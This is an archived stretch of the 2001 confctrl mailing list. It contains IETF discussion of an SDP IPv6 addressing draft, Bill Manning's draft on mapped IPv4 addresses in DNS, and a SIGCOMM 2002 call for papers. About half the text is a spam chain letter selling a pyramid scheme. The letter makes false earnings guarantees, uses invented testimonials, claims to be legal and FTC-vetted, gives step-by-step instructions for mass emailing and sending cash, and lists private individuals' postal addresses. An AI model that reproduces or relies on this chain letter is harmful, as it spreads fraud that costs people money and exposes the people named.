        "'Joerg Ott <jo@tzi.uni-bremen.de>'" <jo@tzi.uni-bremen.de>,
        "Stephen Hayes (EUS)" <Stephen.Hayes@am1.ericsson.se>,
        "Stephen Terrill (ERA)" <stephen.terrill@era.ericsson.se>,
        =?iso-8859-1?Q?G=F6ran_Eneroth_=28ERA=29?= <goran.eneroth@era.ericsson.se>,
        "'eriietf@ericsson.com'" <eriietf@ericsson.com>
Subject: Re: draft-olson-sdp-ipv6-02.txt 
In-Reply-To: Your message of "Wed, 10 Oct 2001 16:10:47 CDT."
             <F9211EC7A7FED4119FD9005004A6C87003F2D776@eamrcnt723.exu.ericsson.se> 
Date: Mon, 15 Oct 2001 22:14:34 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> "Sean Olson (EUS)" writes:
>Attached is an updated version of the draft
>describing how to encode IPv6 addresses in
>SDP. There are very minor edits, but mostly
>this is a re-submission because the draft
>has expired.
>
>Any comments or questions are welcome.

Should the draft say anything about the use of IPv6-mapped-IPv4 addresses?
The BNF makes them legal syntactically, but I'm not sure the semantics are
clear (it should, at least, note the potential for representing an IPv4
address in two different ways).

Editorially, the draft needs a security considerations section and an IANA
considerations section (to note that it updates the definition of the IP6
addrtype parameter), and a reference to RFC2119.

Regards,
Colin

From confctrl-owner  Mon Oct 15 19:22:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA17316
	for confctrl-outgoing; Mon, 15 Oct 2001 19:22:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA17311
	for <confctrl@zephyr.isi.edu>; Mon, 15 Oct 2001 19:22:07 -0700 (PDT)
Received: from newish7.ericsson.com.au (newish7.ericsson.com.au [203.61.155.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9G2MQg11898;
	Mon, 15 Oct 2001 19:22:26 -0700 (PDT)
Received: from brsf10.epa.ericsson.se (igw2.ericsson.com.au [203.61.155.10])
	by newish7.ericsson.com.au (8.9.3+Sun/8.9.3) with ESMTP id MAA24221;
	Tue, 16 Oct 2001 12:21:09 +1000 (EST)
Received: from eaubrnt019.epa.ericsson.se (eaubrnt019.epa.ericsson.se [146.11.9.165])
	by brsf10.epa.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id MAA21772;
	Tue, 16 Oct 2001 12:22:17 +1000 (EST)
Received: by eaubrnt019.epa.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <T8RXN9WX>; Tue, 16 Oct 2001 12:22:16 +1000
Message-ID: <4B6BC00CD15FD2119E5F0008C7A419A51308ED6D@eaubrnt018.epa.ericsson.se>
From: "Hesham Soliman (EPA)" <Hesham.Soliman@ericsson.com.au>
To: "'Colin Perkins'" <csp@ISI.EDU>,
        "Sean Olson (EUS)"
	 <sean.olson@ericsson.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'Joerg Ott <jo@tzi.uni-bremen.de>'" <jo@tzi.uni-bremen.de>,
        "Stephen Hayes (EUS)" <Stephen.Hayes@am1.ericsson.se>,
        "Stephen Terrill (ERA)" <stephen.terrill@era.ericsson.se>,
        =?iso-8859-1?Q?G=F6ran_Eneroth_=28ERA=29?=
	 <goran.eneroth@era.ericsson.se>,
        "'eriietf@ericsson.com'"
	 <eriietf@ericsson.com>
Subject: RE: draft-olson-sdp-ipv6-02.txt 
Date: Tue, 16 Oct 2001 12:22:06 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C155E9.59973FF0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C155E9.59973FF0
Content-Type: text/plain

> Should the draft say anything about the use of IPv6-mapped-IPv4 addresses?
> The BNF makes them legal syntactically, but I'm not sure the semantics are
> clear (it should, at least, note the potential for representing an IPv4
> address in two different ways).
> 
	=> Excellet point. I read the draft a long time ago so I have to
	refresh my memory, but I believe if we're adding this some 
	behavioural deails are needed for end hosts and/or proxy
	servers to know how to handle these addresses. 

	Hesham

------_=_NextPart_001_01C155E9.59973FF0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2654.19">
<TITLE>RE: draft-olson-sdp-ipv6-02.txt </TITLE>
</HEAD>
<BODY>
<UL>
<P><FONT SIZE=2 FACE="Arial">Should the draft say anything about the use of IPv6-mapped-IPv4 addresses?</FONT>
<BR><FONT SIZE=2 FACE="Arial">The BNF makes them legal syntactically, but I'm not sure the semantics are</FONT>
<BR><FONT SIZE=2 FACE="Arial">clear (it should, at least, note the potential for representing an IPv4</FONT>
<BR><FONT SIZE=2 FACE="Arial">address in two different ways).</FONT>
</P>

<P><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">=&gt; Excellet point. I read the draft a long time ago so I have to</FONT>
<BR><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">refresh my memory, but I believe if we're adding this some </FONT>
<BR><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">behavioural deails are needed for end hosts and/or proxy</FONT>
<BR><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">servers to know how to handle these addresses.</FONT> 
</P>

<P><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">Hesham</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C155E9.59973FF0--

From confctrl-owner  Mon Oct 15 21:25:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA24140
	for confctrl-outgoing; Mon, 15 Oct 2001 21:25:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA24135
	for <confctrl@zephyr.isi.edu>; Mon, 15 Oct 2001 21:25:53 -0700 (PDT)
Received: from yourwebsite.com (we-24-126-21-110.we.mediaone.net [24.126.21.110])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9G4QCg09467
	for <confctrl@isi.edu>; Mon, 15 Oct 2001 21:26:12 -0700 (PDT)
Message-Id: <200110160426.f9G4QCg09467@tnt.isi.edu>
Reply-To: remove@spammotel.com
From: getrichquick@email.com
To: confctrl@ISI.EDU
Subject: Advertisement:  $5 bills in your mailbox!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Mon, 15 Oct 2001 21:22:54 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Future Millionaire:

I'll make you a promise. READ THIS E-MAIL TO THE END! - follow what it
says to the letter - and you will not worry whether a RECESSION is coming
or not,
who is President, or whether you keep your current job or not. Yes, I know
what
you are thinking. I never responded to one of these before either. One day
though, something just said "you throw away $25.00 going to a movie for 2
hours
with your wife". "What the heck." Believe me, no matter where you believe
"those feelings" come from, I thank goodness every day that I had that
feeling.
I cannot imagine where I would be or what I would be doing had I not. Read
on.  It's true. Every word of it. It is legal. I checked. Simply because
you
are buying and selling something of value.

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months from your home.

THANK'S TO THE COMPUTER AGE AND THE INTERNET !
==================================================
BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!

Before you say ''Bull'', please read the following. This is the letter
you have been hearing about on the news lately. Due to the popularity of
this
letter on the Internet, a national weekly news program recently devoted
anentire
show to the investigation of this program described below, to see if it
really
can make people money. The show also investigated whether or not the
program
was legal.

Their findings proved once and for all that there are ''absolutely NO
Laws prohibiting the participation in the program and if people can "follow
the simple instruction" they are bound to make some mega bucks with only
$25
out of pocket cost''.
DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS
PROGRAM HAS ATTAINED, IT IS CURRENTLY   WORKING BETTER THAN EVER.

This is what one had to say: '' Thanks to this profitable opportunity". I
was approached many times before but each time I passed on it. I am so glad
I
finally joined just to see what one could expect in return for the
minimal effort and money required. To my astonishment, I received a total $
610,470.00 in 21 weeks, with money still coming in''. Pam Hedland, Fort
Lee, New
Jersey.
==================================================
Another said: "this program has been around for a long time but I never
believed in it. But one day when I received this again in the mail I
decided to gamble my $25 on it. I followed the simple instructions and
walaa ..... 3
weeks later the money started to come in. First month I only made $240.00
but
the next 2 months after that I made a total of $290,000.00. So far, in the
past 8
months by re-entering the program, I have made over $710,000.00 and I am
playing
it again. The key to success in this program is to follow the simple steps
and NOT change
anything.'' More testimonials later but first, =======

==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ====
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

If you would like to make at least $500,000 every 4 to 5 months easily
and comfortably, please read the following...THEN READ IT AGAIN and AGAIN
!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS
WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU
ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears
ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON
YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems.

===WHEN YOU PLACE YOUR ORDER, MAKE SURE ===
===YOU ORDER EACH OF THE 5 REPORTS! ===
You will need all 5 reports so that you can save them on your computer
and resell them. YOUR TOTAL COST $5 X 5 = $25.00.

Within a few days you will receive, via e-mail, each of the 5 reports
from these 5 different individuals. Save them on your computer so they will
be
accessible for you to send to the 1,000's of people who will order them
from you.
Also make a floppy of these reports and keep it on your desk in case
something
happens to your computer.

IMPORTANT - DO NOT alter the names of the people who are listed next to
each report, or their sequence on the list, in any way other than what is
instructed below in step '' 1 through 6 '' or you will loose out on the
majority of
your profits. Once you understand the way this works, you will also see how
it
does not work if you change it. Remember, this method has been tested, and
if
you alter it, it will NOT work !!! People have tried to put their
friends/relatives names on all five thinking they could get all the money.
But it does not
work this way. Believe us, some have tried to be greedy and then nothing
happened. So Do Not try to change anything other than what is instructed.
Because if
you do, it will not work for you. Remember, honesty reaps the reward!!!
This IS a
legitimate BUSINESS. You are offering a product for sale and getting paid
for it. Treat it as such and you will be VERY profitable in a short period
of
time.

1.. After you have ordered all 5 reports, take this advertisement and
REMOVE the name & address of the person in REPORT # 5. This person has
made it through the cycle and is no doubt counting their fortune.

2..Move the name & address in REPORT # 4 down TO REPORT # 5.

3.. Move the name & address in REPORT # 3 down TO REPORT # 4.

4.. Move the name & address in REPORT # 2 down TO REPORT # 3.

5.. Move the name & address in REPORT # 1 down TO REPORT # 2

6.... Insert YOUR name & address in the REPORT # 1 Position.

PLEASE MAKE SURE you copy every name & address ACCURATELY! This is
critical to YOUR success.

==================================================
**** Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.

Save this on a disk as well just in case if you loose any data. To assist
you with marketing your business on the internet, the 5 reports you
purchase will provide you with invaluable marketing information which
includes how
to send bulk e-mails legally, where to find thousands of free classified
ads
and much more. There are 2 Primary methods to get this venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
==================================================

Let's say that you decide to start small, just to see how it goes, and we
will assume You and those involved send out only 5,000 e-mails each.
Let's also assume that the mailing receive only a 0.2% (2/10 of 1%)
response (the
response could be much better but lets just say it is only 0.2%). Also many
people
will send out hundreds of thousands e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000 e-mails.

With a 0.2% response, that is only 10 orders for report # 1. Those 10
people responded by sending out 5,000 e-mail each for a total of 50,000.
Out of
those 50,000 e-mails only 0.2% responded with orders. That's=100 people
responded and ordered Report # 2.

Those 100 people mail out 5,000 e-mails each for a total of 500,000
e-mails. The 0.2% response to that is 1000 orders for Report # 3.

Those 1000 people send 5,000 e-mail each for a total of 5 million
e-mail sent out. The 0.2% response is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000
(50 million) e-mails. The 0.2% response to that is 100,000 orders for
Report
# 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars).

Your total income in this example is: 1..... $50 + 2..... $500 + 3.....
$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE
WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY!
==================================================

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF
5,000 YOU MAILED TO. Dare to think for a moment what would happen if
everyone or
half or even one 4th of those people mailed 100,000 e-mails each or more?
There
are over 150 million people on the Internet worldwide and counting, with
thousands
more coming on line every day. Believe me, many people will do just that,
and
more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
==================================================

Advertising on the net is very, very inexpensive and there are hundreds
of FREE places to advertise. Placing a lot of free ads on the Internet will
easily get a larger response. We strongly suggest you start with Method # 1
and add
METHOD #2 as you go along. For every $5 you receive, all you must do is
e-mail
them the Report they ordered. That's it. Always provide same day service on
all
orders.

This will guarantee that the e-mail they send out, with your name and
address on it, will be prompt because they can not advertise until they
receive the report.

===========AVAILABLE REPORTS ====================
The reason for the "cash" is not because this is illegal or somehow
"wrong". It is simply about time. Time for checks or credit cards to be
cleared or
approved, etc. Concealing it is simply so no one can SEE there is money in
the
envelope and steal it before it gets to you.

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5
cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the
cash is
concealed by wrapping it in at least 2 sheets of paper. On one of those
sheets of
paper, Write the NUMBER & the NAME of the Report you are ordering, YOUR
E-MAIL
ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW :
==================================================
REPORT# 1: 'The Insider's Guide To Advertising for Free On The Net

Order Report #1 from

Keith Gilbert
2822 N. Ridgewood St.
Santa Ana, CA  92705
USA

________________________________________________________

REPORT # 2: The Insider's Guide To Sending Bulk Email On The Net

Order Report # 2 from:

Steve Stwan
P.O. Box 23923
Federal Way, WA 98093
USA

_________________________________________________________________

REPORT # 3: Secret To Multilevel Marketing On The Net

Order Report # 3 from :

Craig Wuthrich
2390 Falls Ave. E.
Twin Falls, ID 83301
USA

______________________________________________________

REPORT # 4: How To Become A Millionaire Using MLM & The Net

Order Report # 4 from:

S. Wong
50 Burnhamthorpe Rd. West #401
Mississauga, Ontario, L5B 3C2
Canada


_______________________________________________________

REPORT #5: How To Send Out One Million Emails For Free

Order Report # 5 From:

Zach Simmons
2135 Springwood
Carrollton, TX 75006
USA

_____________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

=== If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

=== After you have received 10 orders, 2 to 3 weeks after that you should
receive 100 orders or more for REPORT # 2. If you did not, continue
advertising or sending e-mails until you do.

**Once you have received 100 or more orders for Report # 2, YOU CAN
RELAX, because the system is already working for you, and the cash will
continue
to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved
down on the list, you are placed in front of a Different report.

You can KEEP TRACK of your PROGRESS by watching which report people are
ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER
BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT
to the income you can generate from this business !!!
=================================================
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you financial freedom for the rest
of your
life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money
in the
next few weeks and months than you have ever imagined. Follow the program
EXACTLY
AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it
is now.

Remember to e-mail a copy of this exciting report after you have put your
name and address in Report #1 and moved others to #2 .....# 5 as instructed
above. One of the people you send this to may send out 100,000 ormore
e-mails
and your name will be on every one of them. Remember though, the more you
send out
the more potential customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity to become financially
independent.
IT IS UP TO YOU NOW !
=============MORE TESTIMONIALS===============
'' My name is Mitchell. My wife, Jody and I live in Chicago. I am an
accountant with a major U.S. Corporation and I make pretty good money.
When I received this program I grumbled to Jody about receiving ''junk
mail''. I
made fun of the whole thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work. Jody totally ignored my
supposed
intelligence and few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old ''I told you so'' on her
when
the thing didn't work. Well, the laugh was on me! Within 3 weeks she had
received
50 responses. Within the next 45 days she had received total $ 147,200.00
......... all cash! I was shocked. I have joined Jodyin her ''hobby''.
Mitchell Wolf M.D., Chicago, Illinois
================================================
'' Not being the gambling type, it took me several weeks to make up my
mind to participate in this plan. But conservative as I am, I decided that
the
initial investment was so little that there was just no way that I wouldn't
get
enough orders to at least get my money back''. '' I was surprised when I
found
my medium size post office box crammed with orders. I made $319,210.00 in
the first 12 weeks. The nice thing about this deal is that it does not
matter where
people live. There simply isn't a better investment with a faster return
and so
big''.  Dan Sondstrom, Alberta, Canada
=================================================
'' I had received this program before. I deleted it, but later I wondered
if I should have given it a try. Of course, I had no idea who to contact to
get another copy, so I had to wait until I was e-mailed again by someone
else.........11 months passed then it luckily came again...... I did not
delete this one! I made more than $490,000 on my first try and all the
money
came within 22 weeks''. Susan De Suza, New York, N.Y.
=================================================
'' It really is a great opportunity to make relatively easy money with
little cost to you. I followed the simple instructions carefully and
within 10 days the money started to come in. My first month I made $ 20,
560.00 and
by the end of third month my total cash count was $ 362,840.00. Life is
beautiful, Thanx to internet''. Fred Dellaca, Westport, New Zealand
=================================================

ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO
FINANCIAL
FREEDOM !

=================================================
If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.

=================================================

ONE TIME MAILING, NO NEED TO REMOVE

=================================================

This message is sent in compliance of the proposed bill SECTION 301,
paragraph (a)(2)(C) of S. 1618.  Further transmission to you by the sender
of this email may be stopped at no cost to you by sending a reply to:
coho2@ziplip.com with the word REMOVE in the subject line.  This message is not
intended for residents in the State of Washington, screening of addresses has been done
to the best of our technical ability.

 

From confctrl-owner  Tue Oct 16 09:22:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA02790
	for confctrl-outgoing; Tue, 16 Oct 2001 09:22:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA02784
	for <confctrl@zephyr.isi.edu>; Tue, 16 Oct 2001 09:22:37 -0700 (PDT)
Received: from zed.isi.edu (zed.isi.edu [128.9.160.57])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9GGMmg10375;
	Tue, 16 Oct 2001 09:22:48 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Received: (from bmanning@localhost)
	by zed.isi.edu (8.11.0/8.8.6) id f9GGMmi28881;
	Tue, 16 Oct 2001 09:22:48 -0700
Message-Id: <200110161622.f9GGMmi28881@zed.isi.edu>
Subject: Re: draft-olson-sdp-ipv6-02.txt
To: Hesham.Soliman@ericsson.com.au ("Hesham Soliman (EPA)")
Date: Tue, 16 Oct 2001 09:22:47 -0700 (PDT)
Cc: csp@ISI.EDU ('Colin Perkins'),
        sean.olson@ericsson.com ("Sean Olson (EUS)"),
        confctrl@ISI.EDU ('confctrl@isi.edu'),
        jo@tzi.uni-bremen.de ('Joerg Ott <jo@tzi.uni-bremen.de>'),
        Stephen.Hayes@am1.ericsson.se ("Stephen Hayes (EUS)"),
        stephen.terrill@era.ericsson.se ("Stephen Terrill (ERA)"),
        goran.eneroth@era.ericsson.se (=?iso-8859-1?Q?G=F6ran_Eneroth_=28ERA=29?=),
        eriietf@ericsson.com ('eriietf@ericsson.com')
In-Reply-To: <4B6BC00CD15FD2119E5F0008C7A419A51308ED6D@eaubrnt018.epa.ericsson.se> from "Hesham Soliman (EPA)" at Oct 16, 2001 12:22:06 PM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

% > Should the draft say anything about the use of IPv6-mapped-IPv4 addresses?
% > The BNF makes them legal syntactically, but I'm not sure the semantics are
% > clear (it should, at least, note the potential for representing an IPv4
% > address in two different ways).
% > 
% 	=> Excellet point. I read the draft a long time ago so I have to
% 	refresh my memory, but I believe if we're adding this some 
% 	behavioural deails are needed for end hosts and/or proxy
% 	servers to know how to handle these addresses. 
% 
% 	Hesham

That may not be enough....  I thought about send in this as an ID, based on
experiences w/ the DNS.
	----------------------------------------------
Internet Draft                                              Bill Manning 
draft-bmanning-mapcon-01.txt                                         ISI
Expires March 2002                                        September 2001



          	Mapped IPv4 address Considerations in the DNS
 
Status of this Memo

   This draft, file name draft-bmanning-mapcon-01.txt, is intended to become
   something that might be of use to those who are interested in the
   operational requirements of an IP based network.  It does not specify
   an Internet standard of any kind. Distribution of this document is 
   unlimited. Comments should be sent to the author.

   This document is an Internet-Draft and is NOT offered in accordance with 
   Section 10 of RFC2026, and the author does not provide the IETF with any 
   rights other than to publish as an Internet-Draft.

   Internet-Drafts are working documents of the Internet Engineering
   Task Force (IETF), its areas, and its working groups.  Note that
   other groups may also distribute working documents as Internet-
   Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as "work in progress."

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt

   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.


1 Abstract

   This document makes an observation that might really be a  Best 
   Current Practice for the Internet Community.

   The keywords "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
   document are to be interpreted as described in [RFC 2119].
   

2. Recommendation

   Due to ambiguities in the specifications for operating systems and
   IP stacks use of the construct known as a IPv6 mapped IPv4 address,
   it is apparent that a prudent DNS administrator will NEVER add
   a mapped IPv4 address into ANY zone file, even though most current
   DNS server implementations will allow it.


3. Security Considerations

   This document is not known to create new security issues and may close
   some from an operating systems perspective. One may reference earlier
   work done by itojun at the following URL:
   http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-01.txt

4. IANA Considerations

   No IANA actions are required by this document.

5. Acknowledgments

   In no particular order, Akira Kato, Mark Andrews, Bruce Campbell, 
   Andreas Gustafsson, Jun-ichiro itojun Hagino, Daniel Karrenberg,
   Jun Murai, and George Michaelson. Further discussion was held on
   the dnsops WG mailing list <dnsop@cafax.se> in September 2001.
   I appreciate the use of the WG mailing list for this off-charter
   observation and associated discussion.

   At the time this document was originated, funding for the RFC Editor 
   function was provided by the Internet Society.


6. Author's Address

	Bill Manning
        USC/ISI
        4676 Admiralty Way, #1001
        Marina del Rey, CA. 90292
        USA
        bmanning@isi.edu
        310.822.1511      

--bill

From confctrl-owner  Wed Oct 17 13:01:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA01499
	for confctrl-outgoing; Wed, 17 Oct 2001 13:01:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA01493
	for <confctrl@zephyr.isi.edu>; Wed, 17 Oct 2001 13:01:05 -0700 (PDT)
Received: from c.psc.edu (c.psc.edu [128.182.73.106])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9HK1Sg05463
	for <confctrl@isi.edu>; Wed, 17 Oct 2001 13:01:28 -0700 (PDT)
Received: by d.psc.edu for confctrl@isi.edu; Wed, 17 Oct 2001 16:01:27 -0400
Date: Wed, 17 Oct 2001 16:01:27 -0400
From: "Vivian M. Benton" <benton@psc.edu>
To: confctrl@ISI.EDU
CC: BENTON@vms.psc.edu
Message-Id: <011017160127.20805d16@psc.edu>
Subject: Call for Papers - ACM SIGCOMM 2002 Conference
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

CALL FOR PAPERS
ACM SIGCOMM 2002 Conference
August 19-23, 2002, Pittsburgh, Pa

The SIGCOMM 2002 conference seeks papers describing significant research
contributions to the field of computer and data communication networks. 
Authors are invited to submit full papers concerned with the theory, practice,
and evaluation of networks. We are especially interested in innovative and
thought-provoking ideas across a wide range of topics related to networking.

Areas of interest include:

o Network protocols
o Algorithms, protocols, and systems for routing, switching, and signaling
o Network resource management and sharing, quality of service, operating system
support    for networking
o Wireless, mobile, and pervasive networking, networking with specialized
devices and sensors
o Experimental and measurement results from operational networks and protocols
o Network management, traffic engineering, 	and real-world experience
o Network fault-tolerance and reliability, debugging, and troubleshooting
o Peer-to-peer networking architectures, overlay-based network services and
applications, novel distributed applications and middleware
o Systems and protocols for video, audio, telephony, and games
o Web protocols and systems, content distribution networks
o Network security, vulnerabilities, and defenses
o Programmable network architectures and infrastructure
o Lessons about network scalability, insights and models of the structure and
behavior of communication networks

NEW THIS YEAR: SIGCOMM 2002 solicits submissions of "position papers"
articulating high-level architectural visions, describing challenging future
directions, or critiquing current design wisdom.  Accepted position papers will
be presented at the conference and appear in the proceedings. In addition,
SIGCOMM 2002 is open to proposals for panel discussions on timely and
controversial topics.  Panel proposals should include the topic and motivation
for the panel, the names of the panel chair and panelists, and an outline of
the format of the panel discussion.

Tutorials 
SIGCOMM 2002 will feature two days of full-day and half-day tutorials covering
single topics in detail, at both the introductory or advanced level. Proposals
should be sent to the Tutorials Chair and must include an extended abstract
(2-4 pages) containing a description of the topic and intended audience, a
biography of the speaker(s), and an indication of length.  Individuals
interested in submitting tutorial proposals are encouraged to contact the
Tutorials Chair before the deadline to discuss the proposed content.

Student Paper Award
Papers submitted by students may be considered for a student paper award. To be
eligible, a student or group of students must be primary contributors to the
paper. Such papers should be indicated as such on the paper submission web
page.

SIGCOMM Award 
SIGCOMM 2002 will begin with a keynote by the 2002 winner of the ACM SIGCOMM
Award for lifetime contributions to the field of computer communication.
Procedures for nominating candidates for the SIGCOMM Award can be obtained from
Craig Partridge (craig@bbn.com).

As in previous years, SIGCOMM 2002 will have a poster session and student
travel grant program. Visit the conference web site for details.

Submission details are available at:
        www.acm.org/sigcomm/sigcomm2002/

Dates to Remember*
    Submission of abstract to register paper:
            25 January 2002 by 23:59 EST

    Submission of full paper:
            1 February 1 2002 by 23:59 EST

    Submission of tutorial proposal:
            15 February 2002

    Submission of position paper:
            1 March 2002

    Submission of panel proposal:
            1 March 2002 

    Notification of acceptance: 
	 22 April 2002
        	
    Camera ready papers:
	7 June 2002

*All deadlines are FIRM; unlike previous years, no extensions will be granted.

For more information:

General Co-Chairs
	Peter Steenkiste, Carnegie Mellon University
	prs@cs.cmu.edu
	Matt Mathis, Pittsburgh Supercomputing Center
	mathis@psc.edu

Program Co-Chairs
	Vern Paxson, ACIRI/ICSI
	vern@aciri.org
	Hari Balakrishnan, MIT
	hari@lcs.mit.edu

Tutorials Chair
	Srinivasan Seshan, Carnegie Mellon University
	srini@cmu.edu

Publicity Chair
	Vivian Benton, Pittsburgh Supercomputing Center
	benton@psc.edu

Local Arrangements Chair
	Janet Brown, Pittsburgh Supercomputing Center
	brown@psc.edu


                                   '''
                                  (o o)
         ---------------------o00--(-)--00o------------------------

         "No one can make you feel inferior without your own 
         consent."
                                                  Eleanor Roosevelt
         ----------------------------------------------------------


benton@psc.edu

From confctrl-owner  Thu Oct 18 01:14:20 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA08771
	for confctrl-outgoing; Thu, 18 Oct 2001 01:14:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA08766
	for <confctrl@zephyr.isi.edu>; Thu, 18 Oct 2001 01:14:18 -0700 (PDT)
Received: from mostang.geo.co.il ([212.68.150.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9I8Ebg06076
	for <confctrl@ISI.EDU>; Thu, 18 Oct 2001 01:14:38 -0700 (PDT)
Received: by MOSTANG with Internet Mail Service (5.5.2650.21)
	id <VD1C6GP8>; Thu, 18 Oct 2001 10:10:24 +0200
Message-ID: <F29567FFE5B2D511A92400D0B789F61C416B85@MOSTANG>
From: Adi Plaut <adi.plaut@emblaze.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: =?windows-1255?Q?PSS_Interop_tests_according_to_the_3GPP=92s_T?=
	=?windows-1255?Q?echnical_Specifications_26=2E234_?=
Date: Thu, 18 Oct 2001 10:10:23 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C157AC.5608E720"
